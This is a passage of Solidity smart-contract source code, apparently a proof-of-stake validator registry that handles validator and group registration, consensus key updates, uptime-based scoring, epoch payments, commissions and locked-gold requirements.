_membershipHistoryLength The max number of entries for validator membership history. * @param _maxGroupSize The maximum group size. * @param _commissionUpdateDelay The number of blocks to delay a ValidatorGroup's commission * update. * @dev Should be called only once. */ function initialize( address registryAddress, uint256 groupRequirementValue, uint256 groupRequirementDuration, uint256 validatorRequirementValue, uint256 validatorRequirementDuration, uint256 validatorScoreExponent, uint256 validatorScoreAdjustmentSpeed, uint256 _membershipHistoryLength, uint256 _slashingMultiplierResetPeriod, uint256 _maxGroupSize, uint256 _commissionUpdateDelay, uint256 _downtimeGracePeriod ) external initializer { _transferOwnership(msg.sender); setRegistry(registryAddress); setGroupLockedGoldRequirements(groupRequirementValue, groupRequirementDuration); setValidatorLockedGoldRequirements(validatorRequirementValue, validatorRequirementDuration); setValidatorScoreParameters(validatorScoreExponent, validatorScoreAdjustmentSpeed); setMaxGroupSize(_maxGroupSize); setCommissionUpdateDelay(_commissionUpdateDelay); setMembershipHistoryLength(_membershipHistoryLength); setSlashingMultiplierResetPeriod(_slashingMultiplierResetPeriod); setDowntimeGracePeriod(_downtimeGracePeriod); } /** * @notice Sets initialized == true on implementation contracts * @param test Set to true to skip implementation initialization */ constructor(bool test) public InitializableV2(test) {} /** * @notice Updates the block delay for a ValidatorGroup's commission udpdate * @param delay Number of blocks to delay the update */ function setCommissionUpdateDelay(uint256 delay) public onlyOwner { require(delay != commissionUpdateDelay, "commission update delay not changed"); commissionUpdateDelay = delay; emit CommissionUpdateDelaySet(delay); } /** * @notice Updates the maximum number of members a group can have. * @param size The maximum group size. * @return True upon success. */ function setMaxGroupSize(uint256 size) public onlyOwner returns (bool) { require(0 < size, "Max group size cannot be zero"); require(size != maxGroupSize, "Max group size not changed"); maxGroupSize = size; emit MaxGroupSizeSet(size); return true; } /** * @notice Updates the number of validator group membership entries to store. * @param length The number of validator group membership entries to store. * @return True upon success. */ function setMembershipHistoryLength(uint256 length) public onlyOwner returns (bool) { require(0 < length, "Membership history length cannot be zero"); require(length != membershipHistoryLength, "Membership history length not changed"); membershipHistoryLength = length; emit MembershipHistoryLengthSet(length); return true; } /** * @notice Updates the validator score parameters. * @param exponent The exponent used in calculating the score. * @param adjustmentSpeed The speed at which the score is adjusted. * @return True upon success. */ function setValidatorScoreParameters(uint256 exponent, uint256 adjustmentSpeed) public onlyOwner returns (bool) { require( adjustmentSpeed <= FixidityLib.fixed1().unwrap(), "Adjustment speed cannot be larger than 1" ); require( exponent != validatorScoreParameters.exponent || !FixidityLib.wrap(adjustmentSpeed).equals(validatorScoreParameters.adjustmentSpeed), "Adjustment speed and exponent not changed" ); validatorScoreParameters = ValidatorScoreParameters( exponent, FixidityLib.wrap(adjustmentSpeed) ); emit ValidatorScoreParametersSet(exponent, adjustmentSpeed); return true; } /** * @notice Returns the maximum number of members a group can add. * @return The maximum number of members a group can add. */ function getMaxGroupSize() external view returns (uint256) { return maxGroupSize; } /** * @notice Returns the block delay for a ValidatorGroup's commission udpdate. * @return The block delay for a ValidatorGroup's commission udpdate. */ function getCommissionUpdateDelay() external view returns (uint256) { return commissionUpdateDelay; } /** * @notice Updates the Locked Gold requirements for Validator Groups. * @param value The per-member amount of Locked Gold required. * @param duration The time (in seconds) that these requirements persist for. * @return True upon success. */ function setGroupLockedGoldRequirements(uint256 value, uint256 duration) public onlyOwner returns (bool) { LockedGoldRequirements storage requirements = groupLockedGoldRequirements; require( value != requirements.value || duration != requirements.duration, "Group requirements not changed" ); groupLockedGoldRequirements = LockedGoldRequirements(value, duration); emit GroupLockedGoldRequirementsSet(value, duration); return true; } /** * @notice Updates the Locked Gold requirements for Validators. * @param value The amount of Locked Gold required. * @param duration The time (in seconds) that these requirements persist for. * @return True upon success. */ function setValidatorLockedGoldRequirements(uint256 value, uint256 duration) public onlyOwner returns (bool) { LockedGoldRequirements storage requirements = validatorLockedGoldRequirements; require( value != requirements.value || duration != requirements.duration, "Validator requirements not changed" ); validatorLockedGoldRequirements = LockedGoldRequirements(value, duration); emit ValidatorLockedGoldRequirementsSet(value, duration); return true; } /** * @notice Registers a validator unaffiliated with any validator group. * @param ecdsaPublicKey The ECDSA public key that the validator is using for consensus, should * match the validator signer. 64 bytes. * @param blsPublicKey The BLS public key that the validator is using for consensus, should pass * proof of possession. 96 bytes. * @param blsPop The BLS public key proof-of-possession, which consists of a signature on the * account address. 48 bytes. * @return True upon success. * @dev Fails if the account is already a validator or validator group. * @dev Fails if the account does not have sufficient Locked Gold. */ function registerValidator( bytes calldata ecdsaPublicKey, bytes calldata blsPublicKey, bytes calldata blsPop ) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(!isValidator(account) && !isValidatorGroup(account), "Already registered"); uint256 lockedGoldBalance = getLockedGold().getAccountTotalLockedGold(account); require(lockedGoldBalance >= validatorLockedGoldRequirements.value, "Deposit too small"); Validator storage validator = validators[account]; address signer = getAccounts().getValidatorSigner(account); require( _updateEcdsaPublicKey(validator, account, signer, ecdsaPublicKey), "Error updating ECDSA public key" ); require( _updateBlsPublicKey(validator, account, blsPublicKey, blsPop), "Error updating BLS public key" ); registeredValidators.push(account); updateMembershipHistory(account, address(0)); emit ValidatorRegistered(account); return true; } /** * @notice Returns the parameters that govern how a validator's score is calculated. * @return The parameters that goven how a validator's score is calculated. */ function getValidatorScoreParameters() external view returns (uint256, uint256) { return (validatorScoreParameters.exponent, validatorScoreParameters.adjustmentSpeed.unwrap()); } /** * @notice Returns the group membership history of a validator. * @param account The validator whose membership history to return. * @return The group membership history of a validator. */ function getMembershipHistory(address account) external view returns (uint256[] memory, address[] memory, uint256, uint256) { MembershipHistory storage history = validators[account].membershipHistory; uint256[] memory epochs = new uint256[](history.numEntries); address[] memory membershipGroups = new address[](history.numEntries); for (uint256 i = 0; i < history.numEntries; i = i.add(1)) { uint256 index = history.tail.add(i); epochs[i] = history.entries[index].epochNumber; membershipGroups[i] = history.entries[index].group; } return (epochs, membershipGroups, history.lastRemovedFromGroupTimestamp, history.tail); } /** * @notice Calculates the validator score for an epoch from the uptime value for the epoch. * @param uptime The Fixidity representation of the validator's uptime, between 0 and 1. * @dev epoch_score = uptime ** exponent * @return Fixidity representation of the epoch score between 0 and 1. */ function calculateEpochScore(uint256 uptime) public view returns (uint256) { require(uptime <= FixidityLib.fixed1().unwrap(), "Uptime cannot be larger than one"); uint256 numerator; uint256 denominator; uptime = Math.min(uptime.add(downtimeGracePeriod), FixidityLib.fixed1().unwrap()); (numerator, denominator) = fractionMulExp( FixidityLib.fixed1().unwrap(), FixidityLib.fixed1().unwrap(), uptime, FixidityLib.fixed1().unwrap(), validatorScoreParameters.exponent, 18 ); return FixidityLib.newFixedFraction(numerator, denominator).unwrap(); } /** * @notice Calculates the aggregate score of a group for an epoch from individual uptimes. * @param uptimes Array of Fixidity representations of the validators' uptimes, between 0 and 1. * @dev group_score = average(uptimes ** exponent) * @return Fixidity representation of the group epoch score between 0 and 1. */ function calculateGroupEpochScore(uint256[] calldata uptimes) external view returns (uint256) { require(uptimes.length > 0, "Uptime array empty"); require(uptimes.length <= maxGroupSize, "Uptime array larger than maximum group size"); FixidityLib.Fraction memory sum; for (uint256 i = 0; i < uptimes.length; i = i.add(1)) { sum = sum.add(FixidityLib.wrap(calculateEpochScore(uptimes[i]))); } return sum.divide(FixidityLib.newFixed(uptimes.length)).unwrap(); } /** * @notice Updates a validator's score based on its uptime for the epoch. * @param signer The validator signer of the validator account whose score needs updating. * @param uptime The Fixidity representation of the validator's uptime, between 0 and 1. * @return True upon success. */ function updateValidatorScoreFromSigner(address signer, uint256 uptime) external onlyVm() { _updateValidatorScoreFromSigner(signer, uptime); } /** * @notice Updates a validator's score based on its uptime for the epoch. * @param signer The validator signer of the validator whose score needs updating. * @param uptime The Fixidity representation of the validator's uptime, between 0 and 1. * @dev new_score = uptime ** exponent * adjustmentSpeed + old_score * (1 - adjustmentSpeed) * @return True upon success. */ function _updateValidatorScoreFromSigner(address signer, uint256 uptime) internal { address account = getAccounts().signerToAccount(signer); require(isValidator(account), "Not a validator"); FixidityLib.Fraction memory epochScore = FixidityLib.wrap(calculateEpochScore(uptime)); FixidityLib.Fraction memory newComponent = validatorScoreParameters.adjustmentSpeed.multiply( epochScore ); FixidityLib.Fraction memory currentComponent = FixidityLib.fixed1().subtract( validatorScoreParameters.adjustmentSpeed ); currentComponent = currentComponent.multiply(validators[account].score); validators[account].score = FixidityLib.wrap( Math.min(epochScore.unwrap(), newComponent.add(currentComponent).unwrap()) ); emit ValidatorScoreUpdated(account, validators[account].score.unwrap(), epochScore.unwrap()); } /** * @notice Distributes epoch payments to the account associated with `signer` and its group. * @param signer The validator signer of the account to distribute the epoch payment to. * @param maxPayment The maximum payment to the validator. Actual payment is based on score and * group commission. * @return The total payment paid to the validator and their group. */ function distributeEpochPaymentsFromSigner(address signer, uint256 maxPayment) external onlyVm() returns (uint256) { return _distributeEpochPaymentsFromSigner(signer, maxPayment); } /** * @notice Distributes epoch payments to the account associated with `signer` and its group. * @param signer The validator signer of the validator to distribute the epoch payment to. * @param maxPayment The maximum payment to the validator. Actual payment is based on score and * group commission. * @return The total payment paid to the validator and their group. */ function _distributeEpochPaymentsFromSigner(address signer, uint256 maxPayment) internal returns (uint256) { address account = getAccounts().signerToAccount(signer); require(isValidator(account), "Not a validator"); // The group that should be paid is the group that the validator was a member of at the // time it was elected. address group = getMembershipInLastEpoch(account); require(group != address(0), "Validator not registered with a group"); // Both the validator and the group must maintain the minimum locked gold balance in order to // receive epoch payments. if (meetsAccountLockedGoldRequirements(account) && meetsAccountLockedGoldRequirements(group)) { FixidityLib.Fraction memory totalPayment = FixidityLib .newFixed(maxPayment) .multiply(validators[account].score) .multiply(groups[group].slashInfo.multiplier); uint256 groupPayment = totalPayment.multiply(groups[group].commission).fromFixed(); uint256 validatorPayment = totalPayment.fromFixed().sub(groupPayment); IStableToken stableToken = getStableToken(); require(stableToken.mint(group, groupPayment), "mint failed to validator group"); require(stableToken.mint(account, validatorPayment), "mint failed to validator account"); emit ValidatorEpochPaymentDistributed(account, validatorPayment, group, groupPayment); return totalPayment.fromFixed(); } else { return 0; } } /** * @notice De-registers a validator. * @param index The index of this validator in the list of all registered validators. * @return True upon success. * @dev Fails if the account is not a validator. * @dev Fails if the validator has been a member of a group too recently. */ function deregisterValidator(uint256 index) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidator(account), "Not a validator"); // Require that the validator has not been a member of a validator group for // `validatorLockedGoldRequirements.duration` seconds. Validator storage validator = validators[account]; if (validator.affiliation != address(0)) { require( !groups[validator.affiliation].members.contains(account), "Has been group member recently" ); } uint256 requirementEndTime = validator.membershipHistory.lastRemovedFromGroupTimestamp.add( validatorLockedGoldRequirements.duration ); require(requirementEndTime < now, "Not yet requirement end time"); // Remove the validator. deleteElement(registeredValidators, account, index); delete validators[account]; emit ValidatorDeregistered(account); return true; } /** * @notice Affiliates a validator with a group, allowing it to be added as a member. * @param group The validator group with which to affiliate. * @return True upon success. * @dev De-affiliates with the previously affiliated group if present. */ function affiliate(address group) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidator(account), "Not a validator"); require(isValidatorGroup(group), "Not a validator group"); require(meetsAccountLockedGoldRequirements(account), "Validator doesn't meet requirements"); require(meetsAccountLockedGoldRequirements(group), "Group doesn't meet requirements"); Validator storage validator = validators[account]; if (validator.affiliation != address(0)) { _deaffiliate(validator, account); } validator.affiliation = group; emit ValidatorAffiliated(account, group); return true; } /** * @notice De-affiliates a validator, removing it from the group for which it is a member. * @return True upon success. * @dev Fails if the account is not a validator with non-zero affiliation. */ function deaffiliate() external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidator(account), "Not a validator"); Validator storage validator = validators[account]; require(validator.affiliation != address(0), "deaffiliate: not affiliated"); _deaffiliate(validator, account); return true; } /** * @notice Updates a validator's BLS key. * @param blsPublicKey The BLS public key that the validator is using for consensus, should pass * proof of possession. 48 bytes. * @param blsPop The BLS public key proof-of-possession, which consists of a signature on the * account address. 48 bytes. * @return True upon success. */ function updateBlsPublicKey(bytes calldata blsPublicKey, bytes calldata blsPop) external returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidator(account), "Not a validator"); Validator storage validator = validators[account]; require( _updateBlsPublicKey(validator, account, blsPublicKey, blsPop), "Error updating BLS public key" ); return true; } /** * @notice Updates a validator's BLS key. * @param validator The validator whose BLS public key should be updated. * @param account The address under which the validator is registered. * @param blsPublicKey The BLS public key that the validator is using for consensus, should pass * proof of possession. 96 bytes. * @param blsPop The BLS public key proof-of-possession, which consists of a signature on the * account address. 48 bytes. * @return True upon success. */ function _updateBlsPublicKey( Validator storage validator, address account, bytes memory blsPublicKey, bytes memory blsPop ) private returns (bool) { require(blsPublicKey.length == 96, "Wrong BLS public key length"); require(blsPop.length == 48, "Wrong BLS PoP length"); require(checkProofOfPossession(account, blsPublicKey, blsPop), "Invalid BLS PoP"); validator.publicKeys.bls = blsPublicKey; emit ValidatorBlsPublicKeyUpdated(account, blsPublicKey); return true; } /** * @notice Updates a validator's ECDSA key. * @param account The address under which the validator is registered. * @param signer The address which the validator is using to sign consensus messages. * @param ecdsaPublicKey The ECDSA public key corresponding to `signer`. * @return True upon success. */ function updateEcdsaPublicKey(address account, address signer, bytes calldata ecdsaPublicKey) external onlyRegisteredContract(ACCOUNTS_REGISTRY_ID) returns (bool) { require(isValidator(account), "Not a validator"); Validator storage validator = validators[account]; require( _updateEcdsaPublicKey(validator, account, signer, ecdsaPublicKey), "Error updating ECDSA public key" ); return true; } /** * @notice Updates a validator's ECDSA key. * @param validator The validator whose ECDSA public key should be updated. * @param signer The address with which the validator is signing consensus messages. * @param ecdsaPublicKey The ECDSA public key that the validator is using for consensus. Should * match `signer`. 64 bytes. * @return True upon success. */ function _updateEcdsaPublicKey( Validator storage validator, address account, address signer, bytes memory ecdsaPublicKey ) private returns (bool) { require(ecdsaPublicKey.length == 64, "Wrong ECDSA public key length"); require( address(uint160(uint256(keccak256(ecdsaPublicKey)))) == signer, "ECDSA key does not match signer" ); validator.publicKeys.ecdsa = ecdsaPublicKey; emit ValidatorEcdsaPublicKeyUpdated(account, ecdsaPublicKey); return true; } /** * @notice Updates a validator's ECDSA and BLS keys. * @param account The address under which the validator is registered. * @param signer The address which the validator is using to sign consensus messages. * @param ecdsaPublicKey The ECDSA public key corresponding to `signer`. * @param blsPublicKey The BLS public key that the validator is using for consensus, should pass * proof of possession. 96 bytes. * @param blsPop The BLS public key proof-of-possession, which consists of a signature on the * account address. 48 bytes. * @return True upon success. */ function updatePublicKeys( address account, address signer, bytes calldata ecdsaPublicKey, bytes calldata blsPublicKey, bytes calldata blsPop ) external onlyRegisteredContract(ACCOUNTS_REGISTRY_ID) returns (bool) { require(isValidator(account), "Not a validator"); Validator storage validator = validators[account]; require( _updateEcdsaPublicKey(validator, account, signer, ecdsaPublicKey), "Error updating ECDSA public key" ); require( _updateBlsPublicKey(validator, account, blsPublicKey, blsPop), "Error updating BLS public key" ); return true; } /** * @notice Registers a validator group with no member validators. * @param commission Fixidity representation of the commission this group receives on epoch * payments made to its members. * @return True upon success. * @dev Fails if the account is already a validator or validator group. * @dev Fails if the account does not have sufficient weight. */ function registerValidatorGroup(uint256 commission) external nonReentrant returns (bool) { require(commission <= FixidityLib.fixed1().unwrap(), "Commission can't be greater than 100%"); address account = getAccounts().validatorSignerToAccount(msg.sender); require(!isValidator(account), "Already registered as validator"); require(!isValidatorGroup(account), "Already registered as group"); uint256 lockedGoldBalance = getLockedGold().getAccountTotalLockedGold(account); require(lockedGoldBalance >= groupLockedGoldRequirements.value, "Not enough locked gold"); ValidatorGroup storage group = groups[account]; group.exists = true; group.commission = FixidityLib.wrap(commission); group.slashInfo = SlashingInfo(FixidityLib.fixed1(), 0); registeredGroups.push(account); emit ValidatorGroupRegistered(account, commission); return true; } /** * @notice De-registers a validator group. * @param index The index of this validator group in the list of all validator groups. * @return True upon success. * @dev Fails if the account is not a validator group with no members. * @dev Fails if the group has had members too recently. */ function deregisterValidatorGroup(uint256 index) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); // Only Validator Groups that have never had members or have been empty for at least // `groupLockedGoldRequirements.duration` seconds can be deregistered. require(isValidatorGroup(account), "Not a validator group"); require(groups[account].members.numElements == 0, "Validator group not empty"); uint256[] storage sizeHistory = groups[account].sizeHistory; if (sizeHistory.length > 1) { require( sizeHistory[1].add(groupLockedGoldRequirements.duration) < now, "Hasn't been empty for long enough" ); } delete groups[account]; deleteElement(registeredGroups, account, index); emit ValidatorGroupDeregistered(account); return true; } /** * @notice Adds a member to the end of a validator group's list of members. * @param validator The validator to add to the group * @return True upon success. * @dev Fails if `validator` has not set their affiliation to this account. * @dev Fails if the group has zero members. */ function addMember(address validator) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(groups[account].members.numElements > 0, "Validator group empty"); return _addMember(account, validator, address(0), address(0)); } /** * @notice Adds the first member to a group's list of members and marks it eligible for election. * @param validator The validator to add to the group * @param lesser The address of the group that has received fewer votes than this group. * @param greater The address of the group that has received more votes than this group. * @return True upon success. * @dev Fails if `validator` has not set their affiliation to this account. * @dev Fails if the group has > 0 members. */ function addFirstMember(address validator, address lesser, address greater) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(groups[account].members.numElements == 0, "Validator group not empty"); return _addMember(account, validator, lesser, greater); } /** * @notice Adds a member to the end of a validator group's list of members. * @param group The address of the validator group. * @param validator The validator to add to the group. * @param lesser The address of the group that has received fewer votes than this group. * @param greater The address of the group that has received more votes than this group. * @return True upon success. * @dev Fails if `validator` has not set their affiliation to this account. * @dev Fails if the group has > 0 members. */ function _addMember(address group, address validator, address lesser, address greater) private returns (bool) { require(isValidatorGroup(group) && isValidator(validator), "Not validator and group"); ValidatorGroup storage _group = groups[group]; require(_group.members.numElements < maxGroupSize, "group would exceed maximum size"); require(validators[validator].affiliation == group, "Not affiliated to group"); require(!_group.members.contains(validator), "Already in group"); uint256 numMembers = _group.members.numElements.add(1); _group.members.push(validator); require(meetsAccountLockedGoldRequirements(group), "Group requirements not met"); require(meetsAccountLockedGoldRequirements(validator), "Validator requirements not met"); if (numMembers == 1) { getElection().markGroupEligible(group, lesser, greater); } updateMembershipHistory(validator, group); updateSizeHistory(group, numMembers.sub(1)); emit ValidatorGroupMemberAdded(group, validator); return true; } /** * @notice Removes a member from a validator group. * @param validator The validator to remove from the group * @return True upon success. * @dev Fails if `validator` is not a member of the account's group. */ function removeMember(address validator) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidatorGroup(account) && isValidator(validator), "is not group and validator"); return _removeMember(account, validator); } /** * @notice Reorders a member within a validator group. * @param validator The validator to reorder. * @param lesserMember The member who will be behind `validator`, or 0 if `validator` will be the * last member. * @param greaterMember The member who will be ahead of `validator`, or 0 if `validator` will be * the first member. * @return True upon success. * @dev Fails if `validator` is not a member of the account's validator group. */ function reorderMember(address validator, address lesserMember, address greaterMember) external nonReentrant returns (bool) { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidatorGroup(account), "Not a group"); require(isValidator(validator), "Not a validator"); ValidatorGroup storage group = groups[account]; require(group.members.contains(validator), "Not a member of the group"); group.members.update(validator, lesserMember, greaterMember); emit ValidatorGroupMemberReordered(account, validator); return true; } /** * @notice Queues an update to a validator group's commission. * If there was a previously scheduled update, that is overwritten. * @param commission Fixidity representation of the commission this group receives on epoch * payments made to its members. Must be in the range [0, 1.0]. */ function setNextCommissionUpdate(uint256 commission) external { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidatorGroup(account), "Not a validator group"); ValidatorGroup storage group = groups[account]; require(commission <= FixidityLib.fixed1().unwrap(), "Commission can't be greater than 100%"); require(commission != group.commission.unwrap(), "Commission must be different"); group.nextCommission = FixidityLib.wrap(commission); group.nextCommissionBlock = block.number.add(commissionUpdateDelay); emit ValidatorGroupCommissionUpdateQueued(account, commission, group.nextCommissionBlock); } /** * @notice Updates a validator group's commission based on the previously queued update */ function updateCommission() external { address account = getAccounts().validatorSignerToAccount(msg.sender); require(isValidatorGroup(account), "Not a validator group"); ValidatorGroup storage group = groups[account]; require(group.nextCommissionBlock != 0, "No commission update queued"); require(group.nextCommissionBlock <= block.number, "Can't apply commission update yet"); group.commission = group.nextCommission; delete group.nextCommission; delete group.nextCommissionBlock; emit ValidatorGroupCommissionUpdated(account, group.commission.unwrap()); } /** * @notice Returns the current locked gold balance requirement for the supplied account. * @param account The account that may have to meet locked gold balance requirements. * @return The current locked gold balance requirement for the supplied account. */ function getAccountLockedGoldRequirement(address account) public view returns (uint256) { if (isValidator(account)) { return validatorLockedGoldRequirements.value; } else if (isValidatorGroup(account)) { uint256 multiplier = Math.max(1, groups[account].members.numElements); uint256[] storage sizeHistory = groups[account].sizeHistory; if (sizeHistory.length > 0) { for (uint256 i = sizeHistory.length.sub(1); i > 0; i = i.sub(1)) { if (sizeHistory[i].add(groupLockedGoldRequirements.duration) >= now) { multiplier = Math.max(i, multiplier); break; } } } return groupLockedGoldRequirements.value.mul(multiplier); } return 0; } /** * @notice Returns whether or not an account meets its Locked Gold requirements. * @param account The address of the account. * @return Whether or not an account meets its Locked Gold requirements. */ function meetsAccountLockedGoldRequirements(address account) public view returns (bool) { uint256 balance = getLockedGold().getAccountTotalLockedGold(account); // Add a bit of "wiggle room" to accommodate the fact that vote activation can result in ~1 // wei rounding errors. Using 10 as an additional margin of safety. return balance.add(10) >= getAccountLockedGoldRequirement(account); } /** * @notice Returns the validator BLS key. * @param signer The account that registered the validator or its authorized signing address. * @return The validator BLS key. */ function getValidatorBlsPublicKeyFromSigner(address signer) external view returns (bytes memory blsPublicKey) { address account = getAccounts().signerToAccount(signer); require(isValidator(account), "Not a validator"); return validators[account].publicKeys.bls; } /** * @notice Returns validator information. * @param account The account that registered the validator. * @return The unpacked validator struct. */ function getValidator(address account) public view returns ( bytes memory ecdsaPublicKey, bytes memory blsPublicKey, address affiliation, uint256 score, address signer ) { require(isValidator(account), "Not a validator"); Validator storage validator = validators[account]; return ( validator.publicKeys.ecdsa, validator.publicKeys.bls, validator.affiliation, validator.score.unwrap(), getAccounts().getValidatorSigner(account) ); } /** * @notice Returns validator group information. * @param account The account that registered the validator group. * @return The unpacked validator group struct. */ function getValidatorGroup(address account) external view returns (address[] memory, uint256, uint256, uint256, uint256[] memory, uint256, uint256) { require(isValidatorGroup(account), "Not a validator group"); ValidatorGroup storage group = groups[account]; return ( group.members.getKeys(), group.commission.unwrap(), group.nextCommission.unwrap(), group.nextCommissionBlock, group.sizeHistory, group.slashInfo.multiplier.unwrap(), group.slashInfo.lastSlashed ); } /** * @notice Returns the number of members in a validator group. * @param account The address of the validator group. * @return The number of members in a validator group. */ function getGroupNumMembers(address account) public view returns (uint256) { require(isValidatorGroup(account), "Not validator group"); return groups[account].members.numElements; } /** * @notice Returns the top n group members for a particular group. * @param account The address of the validator group. * @param n The number of members to return. * @return The top n group members for a particular group. */ function getTopGroupValidators(address account, uint256 n) external view returns (address[] memory) { address[] memory topAccounts = groups[account].members.headN(n); address[] memory topValidators = new address[](n); for (uint256 i = 0; i < n; i = i.add(1)) { topValidators[i] = getAccounts().getValidatorSigner(topAccounts[i]); } return topValidators; } /** * @notice Returns the number of members in the provided validator groups. * @param accounts The addresses of the validator groups. * @return The number of members in the provided validator groups. */ function getGroupsNumMembers(address[] calldata accounts) external view returns (uint256[] memory) { uint256[] memory numMembers = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; i = i.add(1)) { numMembers[i] = getGroupNumMembers(accounts[i]); } return numMembers; } /** * @notice Returns the number of registered validators. * @return The number of registered validators. */ function getNumRegisteredValidators() external view returns (uint256) { return registeredValidators.length; } /** * @notice Returns the Locked Gold requirements for validators. * @return The Locked Gold requirements for validators. */ function getValidatorLockedGoldRequirements() external view returns (uint256, uint256) { return (validatorLockedGoldRequirements.value, validatorLockedGoldRequirements.duration); } /** * @notice Returns the Locked Gold requirements for validator groups. * @return The Locked Gold requirements for validator groups. */ function getGroupLockedGoldRequirements() external view returns (uint256, uint256) { return (groupLockedGoldRequirements.value, groupLockedGoldRequirements.duration); } /** * @notice Returns the list of registered validator accounts. * @return The list of registered validator accounts. */ function getRegisteredValidators() external view returns (address[] memory) { return registeredValidators; } /** * @notice Returns the list of signers for the registered validator accounts. * @return The list of signers for registered validator accounts. */ function getRegisteredValidatorSigners() external view returns (address[] memory) { IAccounts accounts = getAccounts(); address[] memory signers = new address[](registeredValidators.length); for (uint256 i = 0; i < signers.length; i = i.add(1)) { signers[i] = accounts.getValidatorSigner(registeredValidators[i]); } return signers; } /** * @notice Returns the list of registered validator group accounts. * @return The list of registered validator group addresses. */ function getRegisteredValidatorGroups() external view returns (address[] memory) { return registeredGroups; } /** * @notice Returns whether a particular account has a registered validator group. * @param account The account. * @return Whether a particular address is a registered validator group. */ function isValidatorGroup(address account) public view returns (bool) { return groups[account].exists; } /** * @notice Returns whether a particular account has a registered validator. * @param account The account. * @return Whether a particular address is a registered validator. */ function isValidator(address account) public view returns (bool) { return validators[account].publicKeys.bls.length > 0; } /** * @notice Deletes an element from a list of addresses. * @param list The list of addresses. * @param element The address to delete. * @param index The index of `element` in the list. */ function deleteElement(address[] storage list, address element, uint256 index) private { require(index < list.length && list[index] == element, "deleteElement: index out of range"); uint256 lastIndex = list.length.sub(1); list[index] = list[lastIndex]; delete list[lastIndex]; list.length = lastIndex; } /** * @notice Removes a member from a validator group. * @param group The group from which the member should be removed. * @param validator The validator to remove from the group. * @return True upon success. * @dev If `validator` was the only member of `group`, `group` becomes unelectable. * @dev Fails if `validator` is not a member of `group`. */ function _removeMember(address group, address validator) private returns (bool) { ValidatorGroup storage _group = groups[group]; require(validators[validator].affiliation == group, "Not affiliated to group"); require(_group.members.contains(validator), "Not a member of the group"); _group.members.remove(validator); uint256 numMembers = _group.members.numElements; // Empty validator groups are not electable. if (numMembers == 0) { getElection().markGroupIneligible(group); } updateMembershipHistory(validator, address(0)); updateSizeHistory(group, numMembers.add(1)); emit ValidatorGroupMemberRemoved(group, validator); return true; } /** * @notice Updates the group membership history of a particular account. * @param account The account whose group membership has changed. * @param group The group that the account is now a member of. * @return True upon success. * @dev Note that this is used to determine a validator's membership at the time of an election, * and so group changes within an epoch will overwrite eachother. */ function updateMembershipHistory(address account, address group) private returns (bool) { MembershipHistory storage history = validators[account].membershipHistory; uint256 epochNumber = getEpochNumber(); uint256 head = history.numEntries == 0 ? 0 : history.tail.add(history.numEntries.sub(1)); if (history.numEntries > 0 && group == address(0)) { history.lastRemovedFromGroupTimestamp = now; } if (history.numEntries > 0 && history.entries[head].epochNumber == epochNumber) { // There have been no elections since the validator last changed membership, overwrite the // previous entry. history.entries[head] = MembershipHistoryEntry(epochNumber, group); return true; } // There have been elections since the validator last changed membership, create a new entry. uint256 index = history.numEntries == 0 ? 0 : head.add(1); history.entries[index] = MembershipHistoryEntry(epochNumber, group); if (history.numEntries < membershipHistoryLength) { // Not enough entries, don't remove any. history.numEntries = history.numEntries.add(1); } else if (history.numEntries == membershipHistoryLength) { // Exactly enough entries, delete the oldest one to account for the one we added. delete history.entries[history.tail]; history.tail = history.tail.add(1); } else { // Too many entries, delete the oldest two to account for the one we added. delete history.entries[history.tail]; delete history.entries[history.tail.add(1)]; history.numEntries = history.numEntries.sub(1); history.tail = history.tail.add(2); } return true; } /** * @notice Updates the size history of a validator group. * @param group The account whose group size has changed. * @param size The new size of the group. * @dev Used to determine how much gold an account needs to keep locked. */ function updateSizeHistory(address group, uint256 size) private { uint256[] storage sizeHistory = groups[group].sizeHistory; if (size == sizeHistory.length) { sizeHistory.push(now); } else if (size < sizeHistory.length) { sizeHistory[size] = now; } else { require(false, "Unable to update size history"); } } /** * @notice Returns the group that `account` was a member of at the end of the last epoch. * @param signer The signer of the account whose group membership should be returned. * @return The group that `account` was a member of at the end of the last epoch. */ function getMembershipInLastEpochFromSigner(address signer) external view returns (address) { address account = getAccounts().signerToAccount(signer); require(isValidator(account), "Not a validator"); return getMembershipInLastEpoch(account); } /** * @notice Returns the group that `account` was a member of at the end of the last epoch. * @param account The account whose group membership should be returned. * @return The group that `account` was a member of at the end of the last epoch. */ function getMembershipInLastEpoch(address account) public view returns (address) { uint256 epochNumber = getEpochNumber(); MembershipHistory storage history = validators[account].membershipHistory; uint256 head = history.numEntries == 0 ? 0 : history.tail.add(history.numEntries.sub(1)); // If the most recent entry in the membership history is for the current epoch number, we need // to look at the previous entry. if (history.entries[head].epochNumber == epochNumber) { if (head > history.tail) { head = head.sub(1); } } return history.entries[head].group; } /** * @notice De-affiliates a validator, removing it from the group for which it is a member. * @param validator The validator to deaffiliate from their affiliated validator group. * @param validatorAccount The LockedGold account of the validator. * @return True upon success. */ function _deaffiliate(Validator storage validator, address validatorAccount) private returns (bool) { address affiliation = validator.affiliation; ValidatorGroup storage group = groups[affiliation]; if (group.members.contains(validatorAccount)) { _removeMember(affiliation, validatorAccount); } validator.affiliation = address(0); emit ValidatorDeaffiliated(validatorAccount, affiliation); return true; } /** * @notice Removes a validator from the group for which it is a member. * @param validatorAccount The validator to deaffiliate from their affiliated validator group. */ function forceDeaffiliateIfValidator(address validatorAccount) external nonReentrant onlySlasher { if (isValidator(validatorAccount)) { Validator storage validator = validators[validatorAccount]; if (validator.affiliation != address(0)) { _deaffiliate(validator, validatorAccount); } } } /** * @notice Sets the slashingMultiplierRestPeriod property if called by owner. * @param value New reset period for slashing multiplier. */ function setSlashingMultiplierResetPeriod(uint256 value) public nonReentrant onlyOwner { 